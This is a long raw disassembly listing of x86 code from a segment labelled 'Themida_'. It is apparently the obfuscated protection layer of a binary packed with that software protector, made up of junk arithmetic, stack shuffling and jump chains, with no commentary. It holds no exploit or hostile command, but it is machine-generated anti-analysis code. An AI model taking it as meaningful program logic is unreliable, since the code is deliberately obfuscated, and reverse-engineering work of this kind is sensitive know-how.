jmp loc_554DE3 ; --------------------------------------------------------------------------- loc_55C9B4: ; CODE XREF: Themida_:00554100j pop esp add ebp, 4 push edi mov edi, 4 add ebp, 189D409Eh sub ebp, edi sub ebp, 189D409Eh pop edi jmp loc_55A40C ; --------------------------------------------------------------------------- loc_55C9D5: ; CODE XREF: Themida_:0055CDC6j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5569D5 ; --------------------------------------------------------------------------- loc_55C9EC: ; CODE XREF: Themida_:0055AC72j pop dword ptr [esp] pop esp ror word ptr [esp], cl pushf jmp loc_55648E ; --------------------------------------------------------------------------- loc_55C9FA: ; CODE XREF: Themida_:005573BFj inc esi sub esi, 2B83CCB4h sub edx, esi pop esi jmp loc_55ADB5 ; --------------------------------------------------------------------------- loc_55CA09: ; CODE XREF: Themida_:005521B3j pop esp mov ax, [esp] jmp loc_552368 ; --------------------------------------------------------------------------- loc_55CA13: ; CODE XREF: Themida_:005546B5j shr ebp, 8 jmp loc_5547F7 ; --------------------------------------------------------------------------- loc_55CA1B: ; CODE XREF: Themida_:0055288Ej mov esi, 25980A9Fh dec esi jmp loc_554DBA ; --------------------------------------------------------------------------- loc_55CA26: ; CODE XREF: Themida_:00559647j push edi jmp loc_552014 ; --------------------------------------------------------------------------- loc_55CA2C: ; CODE XREF: Themida_:0055A0E0j xchg eax, [esp] jmp loc_554286 ; --------------------------------------------------------------------------- loc_55CA34: ; CODE XREF: Themida_:00551B3Fj shl ecx, 5 push ebx mov ebx, 140A77C5h or ecx, ebx pop ebx jmp loc_555FCD ; --------------------------------------------------------------------------- loc_55CA45: ; CODE XREF: Themida_:0055C0BBj neg cx xor cx, 64A2h jmp loc_556606 ; --------------------------------------------------------------------------- loc_55CA52: ; CODE XREF: Themida_:00555B99j push ebx mov ebx, 2 jmp loc_5538E4 ; --------------------------------------------------------------------------- loc_55CA5D: ; CODE XREF: Themida_:00558568j xchg edx, [esp] pop esp pop esi jmp loc_554360 ; --------------------------------------------------------------------------- loc_55CA67: ; CODE XREF: Themida_:005549BDj sub bl, ch mov ecx, [esp] add esp, 4 sub bl, al push eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_5521E1 ; --------------------------------------------------------------------------- loc_55CA87: ; CODE XREF: Themida_:00554B71j pop esi push edi push ebp mov ebp, 4DB007EBh add [esp+4], ebp jmp loc_55DA1C ; --------------------------------------------------------------------------- loc_55CA98: ; CODE XREF: Themida_:00552A16j add eax, edi pop edi add ebx, eax jmp loc_554053 ; --------------------------------------------------------------------------- loc_55CAA2: ; CODE XREF: Themida_:00553613j mov [esp], eax push ebx push 5A11368Ch mov ebx, [esp] add esp, 4 jmp loc_55308B ; --------------------------------------------------------------------------- loc_55CAB9: ; CODE XREF: Themida_:0055CE03j push ecx mov cl, dh push eax mov ah, cl mov bl, ah pop eax pop ecx mov cl, bl pop ebx mov edx, [esp] jmp loc_5585B7 ; --------------------------------------------------------------------------- loc_55CACE: ; CODE XREF: Themida_:0055B6C9j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55CAD3: ; CODE XREF: Themida_:0055CCB7j xchg ebp, [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55CAE3: ; CODE XREF: Themida_:00551CACj shl dword ptr [edi+24h], 4 or dword ptr [edi+24h], 786F4455h add dword ptr [edi+24h], 39CD1DBEh xor dword ptr [edi+24h], 0CEAB77AFh xor [edi+24h], ebx jmp loc_5527BA ; --------------------------------------------------------------------------- loc_55CB04: ; CODE XREF: Themida_:00552267j sub edx, 3AA76DFAh mov edi, edx pop edx add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] jmp loc_551815 ; --------------------------------------------------------------------------- loc_55CB1B: ; CODE XREF: Themida_:0055BEA8j push eax push ebx jmp loc_555207 ; --------------------------------------------------------------------------- loc_55CB22: ; CODE XREF: Themida_:005552F8j mov edi, 4 add esi, edi pop edi push edx jmp loc_5598C1 ; --------------------------------------------------------------------------- loc_55CB30: ; CODE XREF: Themida_:00559C17j push 66E0h mov [esp], edx push 2 jmp loc_557E22 ; --------------------------------------------------------------------------- loc_55CB42: ; CODE XREF: Themida_:00551E06j pop edx and ecx, edi pop edi shr ecx, 0 jmp loc_55254F ; --------------------------------------------------------------------------- loc_55CB4E: ; CODE XREF: Themida_:00558AA9j add ebx, 2 xor ebx, [esp] jmp loc_55B8B2 ; --------------------------------------------------------------------------- loc_55CB5C: ; CODE XREF: Themida_:0055C842j xor [esp], eax xor eax, [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_559C59 ; --------------------------------------------------------------------------- loc_55CB6D: ; CODE XREF: Themida_:00553C95j push ecx push ebx jmp loc_55DA2C ; --------------------------------------------------------------------------- loc_55CB74: ; CODE XREF: Themida_:0055C033j add esi, 4 xchg esi, [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55CB86: ; CODE XREF: Themida_:0055D454j inc bh xor bh, 0C0h sub cl, bh pop ebx not cl neg cl add cl, 0E1h push edx mov dl, cl push ecx mov ch, dl jmp near ptr unk_551E7F ; --------------------------------------------------------------------------- mov cx, [esp] push ecx mov ecx, esp push edi mov edi, 4 sub ecx, 266A782Ch add ecx, 311C77ACh add ecx, edi sub ecx, 311C77ACh push ebp jmp loc_55A5EB ; --------------------------------------------------------------------------- loc_55CBC7: ; CODE XREF: Themida_:0055A497j mov eax, 4 jmp loc_5591B9 ; --------------------------------------------------------------------------- loc_55CBD1: ; CODE XREF: Themida_:00558BB5j pop edx push edx mov dh, 70h jmp loc_55B20B ; --------------------------------------------------------------------------- loc_55CBDA: ; CODE XREF: Themida_:00551E6Fj pop dword ptr [esp] mov esp, [esp] movsx cx, al push 2533h mov [esp], ebx jmp loc_55B682 ; --------------------------------------------------------------------------- loc_55CBF1: ; CODE XREF: Themida_:0055A3AFj mov [esp], esi jmp loc_5555BB ; --------------------------------------------------------------------------- loc_55CBF9: ; CODE XREF: Themida_:00557F9Bj add ebx, 72278395h and ecx, ebx pop ebx shr ecx, 6 sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 jmp loc_55273D ; --------------------------------------------------------------------------- loc_55CC1B: ; CODE XREF: Themida_:0055A4A8j mov ebp, 1DC04B48h add eax, 6EEF5D09h jmp loc_55A3C4 ; --------------------------------------------------------------------------- mov cx, [esp] push esi mov esi, esp push edi jmp loc_555BC6 ; --------------------------------------------------------------------------- loc_55CC37: ; CODE XREF: Themida_:0055D902j push eax jmp loc_557639 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_55AB08 ; --------------------------------------------------------------------------- loc_55CC45: ; CODE XREF: Themida_:0055BFC1j mov [esp], ebx mov ebx, 4 mov edx, ebx push dword ptr [esp] jmp loc_55A802 ; --------------------------------------------------------------------------- loc_55CC57: ; CODE XREF: Themida_:0055181Aj push eax mov ah, 0B0h push edx jmp loc_555DC1 ; --------------------------------------------------------------------------- loc_55CC60: ; CODE XREF: Themida_:00554DF4j add eax, 4 push edi push 4 pop edi add eax, edi pop edi xchg eax, [esp] jmp loc_55196E ; --------------------------------------------------------------------------- loc_55CC77: ; CODE XREF: Themida_:0055D445j mov edx, [esp] jmp loc_556DAB ; --------------------------------------------------------------------------- loc_55CC7F: ; CODE XREF: Themida_:005528ECj pop esp push 24C5h jmp loc_55361F ; --------------------------------------------------------------------------- loc_55CC8A: ; CODE XREF: Themida_:00558DBDj pop esp push eax push esp pop eax add eax, 4 push edi mov edi, 4 add eax, edi pop edi push eax jmp loc_55C677 ; --------------------------------------------------------------------------- loc_55CCA2: ; CODE XREF: Themida_:005525B9j mov edi, 4 sub ecx, 6B891C75h add ecx, edi jmp loc_551898 ; --------------------------------------------------------------------------- loc_55CCB4: ; CODE XREF: Themida_:00557E28j add esp, 4 jmp loc_55CAD3 ; --------------------------------------------------------------------------- loc_55CCBC: ; CODE XREF: Themida_:00552D47j xor dl, 78h mov bh, dl pop edx mov ch, bh pop ebx mov dl, ch pop ecx jmp loc_5556F8 ; --------------------------------------------------------------------------- loc_55CCCD: ; CODE XREF: Themida_:00554D7Aj pop ebx pop dword ptr [esp] pop esp mov ebx, eax pop eax sub eax, 0CDC1D6Bh sub eax, ebx add eax, 0CDC1D6Bh pop ebx sub esp, 4 jmp loc_55412B ; --------------------------------------------------------------------------- loc_55CCEA: ; CODE XREF: Themida_:00553DE5j add edx, 4 sub esp, 4 jmp loc_551FD0 ; --------------------------------------------------------------------------- loc_55CCFB: ; CODE XREF: Themida_:00554833j xor ebx, [esp] mov esp, [esp] jmp loc_553F9A ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 0BABh mov [esp], ebx push ecx jmp loc_55C291 ; --------------------------------------------------------------------------- loc_55CD17: ; CODE XREF: Themida_:005536A8j add dword ptr [esp], 4 mov edx, [esp] add esp, 4 add edx, 4 jmp loc_55D6C3 ; --------------------------------------------------------------------------- loc_55CD32: ; CODE XREF: Themida_:0055BCEDj cmp cl, al pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55CD3A: ; CODE XREF: Themida_:0055BA69j add esp, 4 pop dword ptr [esp] mov esp, [esp] loc_55CD46: ; CODE XREF: Themida_:005553F6j ; Themida_:0055C682j push dword ptr [edi+24h] mov ecx, [esp] push ebx push esp pop ebx push 47A3h mov [esp], esi push 208946D7h jmp loc_55875A ; --------------------------------------------------------------------------- loc_55CD61: ; CODE XREF: Themida_:00556FACj pop eax add dword ptr [esp+4], 3308717Ch pop eax mov ecx, [esp] push edi mov edi, esp jmp loc_5591D5 ; --------------------------------------------------------------------------- loc_55CD76: ; CODE XREF: Themida_:00558FEAj add esp, 4 push esi mov esi, 31273CD8h add esi, 4D233BDh xor ebp, esi pop esi push ebp pop dword ptr [eax] mov ebp, [esp] push ebx mov ebx, esp push 254h mov [esp], esi mov esi, 4 jmp loc_553D40 ; --------------------------------------------------------------------------- loc_55CDA6: ; CODE XREF: Themida_:00558FF2j add esi, 4 jmp loc_55A278 ; --------------------------------------------------------------------------- loc_55CDB1: ; CODE XREF: Themida_:005536D7j add ebp, 4 add ebp, 4 jmp loc_5527F5 ; --------------------------------------------------------------------------- loc_55CDBF: ; CODE XREF: Themida_:0055B706j pop eax sub eax, edx push dword ptr [esp] pop edx jmp loc_55C9D5 ; --------------------------------------------------------------------------- loc_55CDCB: ; CODE XREF: Themida_:00554E3Cj mov [esp], edx mov edx, 4 push edi push edx mov edx, 137A7D7Bh and edx, 57380975h xor edx, 335856F9h and edx, 49135453h not edx sub edx, 84B77DE4h mov edi, edx jmp loc_556437 ; --------------------------------------------------------------------------- loc_55CDFB: ; CODE XREF: Themida_:0055A20Fj add bl, 84h push ecx push edx mov dh, al push ebx jmp loc_55CAB9 ; --------------------------------------------------------------------------- loc_55CE08: ; CODE XREF: Themida_:005593D2j add edx, 11661FAAh jmp loc_5523F0 ; --------------------------------------------------------------------------- loc_55CE13: ; CODE XREF: Themida_:0055D047j push dword ptr [esp] pop eax push esi mov esi, esp jmp loc_5527A3 ; --------------------------------------------------------------------------- loc_55CE1F: ; CODE XREF: Themida_:00558E65j mov cl, ah pop eax neg cl shl cl, 3 jmp loc_55DC1B ; --------------------------------------------------------------------------- loc_55CE2C: ; CODE XREF: Themida_:00559630j add esi, 4 jmp loc_552047 ; --------------------------------------------------------------------------- loc_55CE37: ; CODE XREF: Themida_:00557355j sub eax, 1E4129B5h pop edi jmp loc_559A26 ; --------------------------------------------------------------------------- loc_55CE42: ; CODE XREF: Themida_:00554CD3j mov esp, [esp] mov [esp], ebx push edi mov edi, 4E584FB5h mov ebx, edi push dword ptr [esp] jmp loc_552D26 ; --------------------------------------------------------------------------- loc_55CE58: ; CODE XREF: Themida_:0055B4FCj pop ax mov dh, bl jmp loc_554FA4 ; --------------------------------------------------------------------------- loc_55CE61: ; CODE XREF: Themida_:00554EEDj mov [esp], edi mov edi, 434515A4h push esi jmp loc_556ACD ; --------------------------------------------------------------------------- loc_55CE6F: ; CODE XREF: Themida_:00559DD7j sub esp, 4 mov [esp], ebp mov ebp, esp push esi push 13A5h jmp loc_556B00 ; --------------------------------------------------------------------------- loc_55CE82: ; CODE XREF: Themida_:00557652j pop ecx push ebx jmp loc_55671C ; --------------------------------------------------------------------------- loc_55CE89: ; CODE XREF: Themida_:005542E4j jmp loc_55D128 ; --------------------------------------------------------------------------- loc_55CE8E: ; CODE XREF: Themida_:00554B87j and eax, 396125E8h jmp loc_55BF26 ; --------------------------------------------------------------------------- loc_55CE98: ; CODE XREF: Themida_:0055B2B8j xor esi, 377E0CDDh mov ebp, [esp] add esp, 4 jmp loc_55A39D ; --------------------------------------------------------------------------- loc_55CEA9: ; CODE XREF: Themida_:005550BAj pop esi add esp, 4 jmp loc_551815 ; --------------------------------------------------------------------------- loc_55CEB5: ; CODE XREF: Themida_:00556AF5j sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edi push esp pop edi jmp loc_553579 ; --------------------------------------------------------------------------- loc_55CEC8: ; CODE XREF: Themida_:00552692j xor eax, [esp] jmp loc_55709A ; --------------------------------------------------------------------------- loc_55CED0: ; CODE XREF: Themida_:0055850Dj or esi, 4219338Eh add esi, 0F61627CCh sub ebx, esi jmp loc_5522FF ; --------------------------------------------------------------------------- loc_55CEE3: ; CODE XREF: Themida_:005590D4j push ecx push eax mov ah, 7Ch or ah, 6Fh jmp loc_558E57 ; --------------------------------------------------------------------------- loc_55CEEF: ; CODE XREF: Themida_:0055BD00j add esp, 4 push edx mov edx, esp jmp loc_55D067 ; --------------------------------------------------------------------------- loc_55CEFD: ; CODE XREF: Themida_:0055C939j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp pop edi pop ebp jmp loc_5524AF ; --------------------------------------------------------------------------- loc_55CF17: ; CODE XREF: Themida_:005579DAj push esi mov esi, 29764F5Bh and edi, esi mov esi, [esp] add esp, 4 xchg edx, edi not edx jmp loc_5596E1 ; --------------------------------------------------------------------------- loc_55CF31: ; CODE XREF: Themida_:00554887j add esi, 4 xchg esi, [esp] pop esp jmp loc_551B39 ; --------------------------------------------------------------------------- loc_55CF3D: ; CODE XREF: Themida_:0055C29Aj add esp, 4 add ecx, 0A7B6278h sub ecx, 3BF972C5h push ecx push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] pop ecx add esp, 4 add eax, ebx jmp loc_55BF7C ; --------------------------------------------------------------------------- loc_55CF62: ; CODE XREF: Themida_:00552EC6j pop eax push ebp mov ebp, 4 jmp loc_5544D7 ; --------------------------------------------------------------------------- loc_55CF6E: ; CODE XREF: Themida_:005574CAj push eax mov eax, 34572479h dec eax or eax, 439A291Dh or eax, 623735DFh jmp loc_559FD8 ; --------------------------------------------------------------------------- loc_55CF84: ; CODE XREF: Themida_:005521FEj push 2375h mov [esp], ecx jmp loc_5530B6 ; --------------------------------------------------------------------------- loc_55CF91: ; CODE XREF: Themida_:00552E87j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55CF96: ; CODE XREF: Themida_:00553677j mov bh, 0CAh not bh xor bh, 42h mov cl, bh pop ebx push ecx xchg ch, [esp] not ch push edx mov dl, ch mov ch, [esp+4] mov [esp+4], dl jmp loc_55D745 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_552764 ; --------------------------------------------------------------------------- loc_55CFBE: ; CODE XREF: Themida_:00551B6Dj add esp, 4 jmp loc_552E00 ; --------------------------------------------------------------------------- mov cx, [esp] push 65F1h mov [esp], ebx sub esp, 4 mov [esp], esp jmp loc_557EB9 ; --------------------------------------------------------------------------- loc_55CFE0: ; CODE XREF: Themida_:00552942j pop edi add ebx, ecx pop ecx jmp loc_5555A6 ; --------------------------------------------------------------------------- loc_55CFE9: ; CODE XREF: Themida_:0055241Fj push ebp mov ebp, esp add ebp, 4 jmp loc_554F65 ; --------------------------------------------------------------------------- loc_55CFF7: ; CODE XREF: Themida_:00554E74j add esp, 4 push 16B6h mov [esp], edi jmp loc_556E3A ; --------------------------------------------------------------------------- loc_55D007: ; CODE XREF: Themida_:00554E14j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55D00C: ; CODE XREF: Themida_:0055B767j pop esp mov ax, [esp] push ebx jmp loc_55D547 ; --------------------------------------------------------------------------- loc_55D017: ; CODE XREF: Themida_:0055C972j or ebx, 381E2EF6h and ebx, 12442F36h dec ebx add ebx, 2A4B5605h push ecx mov ecx, 1936A938h add ebx, ecx pop ecx push 57C2h jmp loc_55D619 ; --------------------------------------------------------------------------- loc_55D03D: ; CODE XREF: Themida_:0055C503j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_55CE13 ; --------------------------------------------------------------------------- loc_55D04C: ; CODE XREF: Themida_:0055C727j sub eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 sub eax, 2D48513Eh jmp loc_5588DB ; --------------------------------------------------------------------------- loc_55D067: ; CODE XREF: Themida_:0055CEF8j add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esp, 4 jmp loc_55BE2C ; --------------------------------------------------------------------------- loc_55D07C: ; CODE XREF: Themida_:00555A06j mov [esp], ecx push edi mov edi, esp add edi, 4 sub edi, 4 push edi jmp loc_557FAA ; --------------------------------------------------------------------------- loc_55D094: ; CODE XREF: Themida_:00557C17j push ecx mov ecx, 41DB0C4Ah not ecx add ecx, 51305201h xchg esi, ecx not esi xchg esi, ecx sub ecx, 0F0AABA45h add edx, ecx pop ecx add edx, 4 jmp loc_5570C4 ; --------------------------------------------------------------------------- loc_55D0B9: ; CODE XREF: Themida_:00555386j add edx, ebx jmp loc_55BAD2 ; --------------------------------------------------------------------------- loc_55D0C0: ; CODE XREF: Themida_:00553302j mov ecx, [esp] push ebp push esp pop ebp jmp loc_551F10 ; --------------------------------------------------------------------------- loc_55D0CB: ; CODE XREF: Themida_:00558B4Fj mov edi, [esp] push esi jmp loc_555DA2 ; --------------------------------------------------------------------------- loc_55D0D4: ; CODE XREF: Themida_:005593CBj sub edi, 79E15D7Eh add edi, esi jmp loc_554A7E ; --------------------------------------------------------------------------- loc_55D0E1: ; CODE XREF: Themida_:0055AF80j mov edi, ebp jmp loc_55C3B3 ; --------------------------------------------------------------------------- loc_55D0E8: ; CODE XREF: Themida_:005591EEj sub edi, edx mov edx, [esp] add esp, 4 jmp loc_552983 ; --------------------------------------------------------------------------- loc_55D0F8: ; CODE XREF: Themida_:00557EB4j push ebp jmp loc_55B093 ; --------------------------------------------------------------------------- loc_55D0FE: ; CODE XREF: Themida_:0055AD06j mov ebp, 4 add esi, ebp pop ebp push eax mov eax, 45E859B1h sub eax, 4F302229h jmp loc_55DB64 ; --------------------------------------------------------------------------- loc_55D116: ; CODE XREF: Themida_:00551C8Cj xor [edi+20h], esi push edx mov edx, 20h add edx, edi xor dword ptr [edx], 25C21903h pop edx loc_55D128: ; CODE XREF: Themida_:0055A644j ; Themida_:loc_55CE89j push dword ptr [esp] mov ebx, [esp] jmp loc_557C14 ; --------------------------------------------------------------------------- loc_55D133: ; CODE XREF: Themida_:00551ED3j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55D138: ; CODE XREF: Themida_:0055D563j mov [esp], esi mov esi, 667906E3h jmp loc_559D17 ; --------------------------------------------------------------------------- loc_55D145: ; CODE XREF: Themida_:0055AE22j pop eax jmp loc_5593DF ; --------------------------------------------------------------------------- loc_55D14B: ; CODE XREF: Themida_:0055471Dj add ebp, ecx pop ecx add edi, ebp pop ebp add edi, 2 push edi push dword ptr [esp+4] jmp loc_55ADA6 ; --------------------------------------------------------------------------- loc_55D15E: ; CODE XREF: Themida_:00556D4Fj sub ebx, 0B8CE2C58h add ecx, ebx pop ebx push eax mov eax, 488A71D3h xor eax, 42C358DEh jmp loc_555A3F ; --------------------------------------------------------------------------- loc_55D177: ; CODE XREF: Themida_:00559BD5j sub dl, 2Dh sub dl, 4Eh not dl jmp loc_55DBD8 ; --------------------------------------------------------------------------- mov cx, [esp] push edx jmp loc_5581FA ; --------------------------------------------------------------------------- loc_55D18E: ; CODE XREF: Themida_:005583E8j add edi, 47771123h mov ecx, edi pop edi not ecx push ecx neg dword ptr [esp] jmp loc_55A086 ; --------------------------------------------------------------------------- loc_55D1A2: ; CODE XREF: Themida_:0055436Dj mov [esp], eax sub esp, 4 mov [esp], ebp pop eax pop ebp push edx sub esp, 4 mov [esp], ebx mov ebx, 338E7AFDh neg ebx jmp loc_55C885 ; --------------------------------------------------------------------------- loc_55D1C3: ; CODE XREF: Themida_:005585AAj xchg eax, edx add eax, 0FFFFFFFFh xchg eax, edx shr edx, 2 push edi mov edi, 40FC0B23h jmp loc_55A2E9 ; --------------------------------------------------------------------------- loc_55D1D6: ; CODE XREF: Themida_:00559705j xchg edx, [esp] pop esp jmp loc_555E64 ; --------------------------------------------------------------------------- loc_55D1DF: ; CODE XREF: Themida_:0055C509j sub ebx, 1 jmp loc_559C2B ; --------------------------------------------------------------------------- loc_55D1EA: ; CODE XREF: Themida_:00558B99j add edx, 4 xchg edx, [esp] jmp loc_559AC6 ; --------------------------------------------------------------------------- loc_55D1F5: ; CODE XREF: Themida_:0055BA57j pop edx push esi add dword ptr [esp], 4DDB5A59h jmp loc_551AE9 ; --------------------------------------------------------------------------- loc_55D203: ; CODE XREF: Themida_:00558BD0j mov ecx, 5CDB201Eh shl ecx, 3 and ecx, 1B547F8Fh or ecx, 41CF764Fh dec ecx sub ecx, 4F0E7F6Dh xor ecx, 0A189D0D2h xor edx, ecx pop ecx push ebx mov ebx, 0F11D8687h add edx, ebx jmp loc_55C7DC ; --------------------------------------------------------------------------- loc_55D234: ; CODE XREF: Themida_:0055C34Bj mov ecx, 1AC1000Bh xchg esi, ecx not esi xchg esi, ecx shr ecx, 3 shr ecx, 7 add ecx, 5A9594Dh xor ecx, 49F3BFDFh xor eax, ecx pop ecx push 90Dh mov [esp], ebx jmp loc_55C235 ; --------------------------------------------------------------------------- loc_55D261: ; CODE XREF: Themida_:0055ADDBj mov ecx, 4703369Ah jmp loc_55B63F ; --------------------------------------------------------------------------- loc_55D26B: ; CODE XREF: Themida_:0055C03Fj pop esi xchg eax, [esp] pop esp jmp loc_555D29 ; --------------------------------------------------------------------------- loc_55D275: ; CODE XREF: Themida_:00554436j mov [esp], edx mov edx, esp push 7195h jmp loc_55944E ; --------------------------------------------------------------------------- loc_55D284: ; CODE XREF: Themida_:0055D6F7j mov ecx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] push eax mov eax, 4 add edi, eax pop eax xchg edi, [esp] pop esp jmp loc_554EF2 ; --------------------------------------------------------------------------- loc_55D2A5: ; CODE XREF: Themida_:00555D54j dec esi jmp loc_55BD4E ; --------------------------------------------------------------------------- loc_55D2AB: ; CODE XREF: Themida_:00551DDCj mov esp, [esp] push dword ptr [esp] pop eax jmp loc_558E03 ; --------------------------------------------------------------------------- loc_55D2B7: ; CODE XREF: Themida_:00553810j push ecx jmp loc_556BCF ; --------------------------------------------------------------------------- loc_55D2BD: ; CODE XREF: Themida_:0055C1D6j push 267A4CCBh pop edx sub edx, 41DC689Fh mov ebp, edx pop edx mov edx, ebp jmp loc_5595F3 ; --------------------------------------------------------------------------- loc_55D2D3: ; CODE XREF: Themida_:0055555Bj not esi xor esi, 0EB00EB0Fh not esi dec esi sub esi, 46957778h push ebp mov ebp, 80E4BB2h xor esi, ebp jmp loc_552730 ; --------------------------------------------------------------------------- loc_55D2F1: ; CODE XREF: Themida_:0055ACFEj sub edi, 205B6088h pop ecx not edi jmp loc_5565EB ; --------------------------------------------------------------------------- loc_55D2FF: ; CODE XREF: Themida_:00552613j add esp, 4 pop dword ptr [esp] pop esp jmp loc_55D377 ; --------------------------------------------------------------------------- loc_55D30E: ; CODE XREF: Themida_:00556598j mov bl, 6Fh inc bl push ax push 690Ah mov [esp], edx jmp loc_5593D7 ; --------------------------------------------------------------------------- loc_55D321: ; CODE XREF: Themida_:00557A51j pop edi xchg ecx, [esp] jmp loc_55C114 ; --------------------------------------------------------------------------- loc_55D32A: ; CODE XREF: Themida_:0055BC92j push dword ptr [esp] mov ebp, [esp] add esp, 4 push edx mov edx, esp jmp loc_55855C ; --------------------------------------------------------------------------- loc_55D33E: ; CODE XREF: Themida_:005570A0j mov esp, [esp] mov [esp], ecx jmp loc_551815 ; --------------------------------------------------------------------------- loc_55D349: ; CODE XREF: Themida_:00556D81j pop edx add ebx, eax jmp loc_5521C0 ; --------------------------------------------------------------------------- loc_55D351: ; CODE XREF: Themida_:00554949j push esp jmp loc_555037 ; --------------------------------------------------------------------------- loc_55D357: ; CODE XREF: Themida_:005570F0j push eax mov eax, 75FA57DEh add ecx, eax pop eax add ecx, ebp jmp loc_554F6B ; --------------------------------------------------------------------------- loc_55D367: ; CODE XREF: Themida_:0055968Ej and ah, dh pop edx neg ah sub ah, 30h or bh, ah pop eax jmp loc_55DB7F ; --------------------------------------------------------------------------- loc_55D377: ; CODE XREF: Themida_:0055D309j add [esp], al pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55D380: ; CODE XREF: Themida_:0055444Dj dec ebx shr ebx, 4 add ebx, 5CDC97BEh sub edx, ebx pop ebx add edx, ebp add edx, 5E6B29D1h pop ebp jmp loc_553B97 ; --------------------------------------------------------------------------- loc_55D39B: ; CODE XREF: Themida_:00553E68j shl al, 5 xor al, 0Ah jmp loc_559C1C ; --------------------------------------------------------------------------- loc_55D3A5: ; CODE XREF: Themida_:0055C608j push dword ptr [esp] pop eax add esp, 4 mov edx, [esp] add esp, 4 push dword ptr [esp] jmp loc_55B017 ; --------------------------------------------------------------------------- loc_55D3BD: ; CODE XREF: Themida_:0055450Aj mov cl, 0CDh neg cl inc cl add cl, 83h mov ah, cl mov ecx, [esp] add esp, 4 sub ah, 0ECh add ah, 97h jmp loc_55B44F ; --------------------------------------------------------------------------- loc_55D3D9: ; CODE XREF: Themida_:00554281j xor eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], edi jmp loc_554045 ; --------------------------------------------------------------------------- loc_55D3F5: ; CODE XREF: Themida_:0055A582j pop di push dx jmp loc_5598B5 ; --------------------------------------------------------------------------- loc_55D3FE: ; CODE XREF: Themida_:0055AEDEj push edx jmp loc_555918 ; --------------------------------------------------------------------------- mov cx, [esp] push 220Eh jmp loc_555B8F ; --------------------------------------------------------------------------- loc_55D412: ; CODE XREF: Themida_:0055B5EAj mov [esp], ebx mov ebx, esp push 2B8Bh jmp loc_5530C9 ; --------------------------------------------------------------------------- loc_55D421: ; CODE XREF: Themida_:0055A423j add esp, 4 add ebx, eax sub esp, 4 jmp loc_554E84 ; --------------------------------------------------------------------------- loc_55D434: ; CODE XREF: Themida_:0055A803j add esp, 4 sub ecx, 9CF4BABh add ecx, edx add ecx, 9CF4BABh jmp loc_55CC77 ; --------------------------------------------------------------------------- loc_55D44A: ; CODE XREF: Themida_:0055983Ej dec bh dec bh sub bh, 2Dh shr bh, 2 jmp loc_55CB86 ; --------------------------------------------------------------------------- loc_55D459: ; CODE XREF: Themida_:0055D7E2j add esp, 4 sub eax, 38FD25CDh mov ecx, [esp] add esp, 4 shl eax, cl push edi mov edi, 1 push edi jmp loc_55D754 ; --------------------------------------------------------------------------- loc_55D478: ; CODE XREF: Themida_:0055C88Bj add esi, 0FD90435Ch or ebx, esi jmp loc_5562AF ; --------------------------------------------------------------------------- loc_55D485: ; CODE XREF: Themida_:00555811j mov ebx, 1DC152ADh xor ebx, 1DC152AFh add ecx, 1A3B40E6h add ecx, 4A70E4h add ecx, ebx push ebx mov ebx, 468017F0h xor ebx, 46CA6714h sub ecx, ebx pop ebx push ebp mov ebp, 1A3B40E6h sub ecx, ebp pop ebp mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55D668 ; --------------------------------------------------------------------------- loc_55D4D1: ; CODE XREF: Themida_:0055300Bj pop edx jmp loc_554B46 ; --------------------------------------------------------------------------- loc_55D4D7: ; CODE XREF: Themida_:0055C44Ej push 711Ch mov [esp], ebx jmp loc_552860 ; --------------------------------------------------------------------------- loc_55D4E4: ; CODE XREF: Themida_:0055236Aj pop edi push ebp push ebx jmp loc_5573A0 ; --------------------------------------------------------------------------- loc_55D4EC: ; CODE XREF: Themida_:005533E0j pop esi push edi mov edi, 78C50958h shl edi, 1 jmp loc_554C75 ; --------------------------------------------------------------------------- loc_55D4FA: ; CODE XREF: Themida_:00557D3Ej mov edx, 413802E3h sub [esp+4], edx mov edx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_55A018 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 10E914EEh or ecx, 7240C54h or ecx, 377A02D0h add ecx, 0C800E106h add ebp, ecx pop ecx jmp loc_554B76 ; --------------------------------------------------------------------------- loc_55D537: ; CODE XREF: Themida_:00554AAEj add ebp, ebx pop ebx jmp loc_55BCE9 ; --------------------------------------------------------------------------- loc_55D53F: ; CODE XREF: Themida_:0055698Fj push ecx mov ch, 8 jmp loc_55AA2B ; --------------------------------------------------------------------------- loc_55D547: ; CODE XREF: Themida_:0055D012j sub esp, 4 mov [esp], esp push ebp mov ebp, 4 add [esp+4], ebp pop ebp mov ebx, [esp] push edi mov edi, esp push 2322h jmp loc_55D138 ; --------------------------------------------------------------------------- loc_55D568: ; CODE XREF: Themida_:005586CCj add eax, 9C82CA0Bh add esi, 4DD618D3h add esi, eax sub esi, 4DD618D3h pop eax add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_5557F2 ; --------------------------------------------------------------------------- loc_55D58A: ; CODE XREF: Themida_:00559FC8j xor esi, 56707D4Eh neg esi jmp loc_5592A0 ; 